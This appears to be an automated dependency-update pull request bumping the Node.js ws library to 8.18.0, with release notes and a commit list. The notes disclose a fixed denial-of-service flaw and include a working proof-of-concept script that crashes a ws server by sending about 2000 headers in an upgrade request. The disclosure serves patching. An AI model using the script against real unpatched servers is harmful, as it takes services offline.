Bumps [ws](https://github.com/websockets/ws) from 8.17.0 to 8.18.0.
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a
href="https://github.com/websockets/ws/releases">ws's
releases</a>.</em></p>
<blockquote>
<h2>8.18.0</h2>
<h1>Features</h1>
<ul>
<li>Added support for <code>Blob</code> (<a
href="https://redirect.github.com/websockets/ws/issues/2229">#2229</a>).</li>
</ul>
<h2>8.17.1</h2>
<h1>Bug fixes</h1>
<ul>
<li>Fixed a DoS vulnerability (<a
href="https://redirect.github.com/websockets/ws/issues/2231">#2231</a>).</li>
</ul>
<p>A request with a number of headers exceeding
the[<code>server.maxHeadersCount</code>][]
threshold could be used to crash a ws server.</p>
<pre lang="js"><code>const http = require('http');
const WebSocket = require('ws');
<p>const wss = new WebSocket.Server({ port: 0 }, function () {
const chars =
&quot;!#$%&amp;'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~&quot;.split('');
const headers = {};
let count = 0;</p>
<p>for (let i = 0; i &lt; chars.length; i++) {
if (count === 2000) break;</p>
<pre><code>for (let j = 0; j &amp;lt; chars.length; j++) {
  const key = chars[i] + chars[j];
  headers[key] = 'x';

  if (++count === 2000) break;
}
</code></pre>
<p>}</p>
<p>headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';</p>
<p>const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});</p>
<p>request.end();
});
</code></pre></p>
<p>The vulnerability was reported by <a
href="https://github.com/rrlapointe">Ryan LaPointe</a> in <a
href="https://redirect.github.com/websockets/ws/issues/2230">websockets/ws#2230</a>.</p>
<!-- raw HTML omitted -->
</blockquote>
<p>... (truncated)</p>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="976c53c406"><code>976c53c</code></a>
[dist] 8.18.0</li>
<li><a
href="59b9629b78"><code>59b9629</code></a>
[feature] Add support for <code>Blob</code> (<a
href="https://redirect.github.com/websockets/ws/issues/2229">#2229</a>)</li>
<li><a
href="0d1b5e6c4a"><code>0d1b5e6</code></a>
[security] Use more descriptive text for 2017 vulnerability link</li>
<li><a
href="15f11a052a"><code>15f11a0</code></a>
[security] Add new DoS vulnerability to SECURITY.md</li>
<li><a
href="3c56601092"><code>3c56601</code></a>
[dist] 8.17.1</li>
<li><a
href="e55e5106f1"><code>e55e510</code></a>
[security] Fix crash when the Upgrade header cannot be read (<a
href="https://redirect.github.com/websockets/ws/issues/2231">#2231</a>)</li>
<li><a
href="6a00029edd"><code>6a00029</code></a>
[test] Increase code coverage</li>
<li><a
href="ddfe4a804d"><code>ddfe4a8</code></a>
[perf] Reduce the amount of <code>crypto.randomFillSync()</code>
calls</li>
<li>See full diff in <a
href="https://github.com/websockets/ws/compare/8.17.0...8.18.0">compare
view</a></li>
</ul>
</details>
<br />


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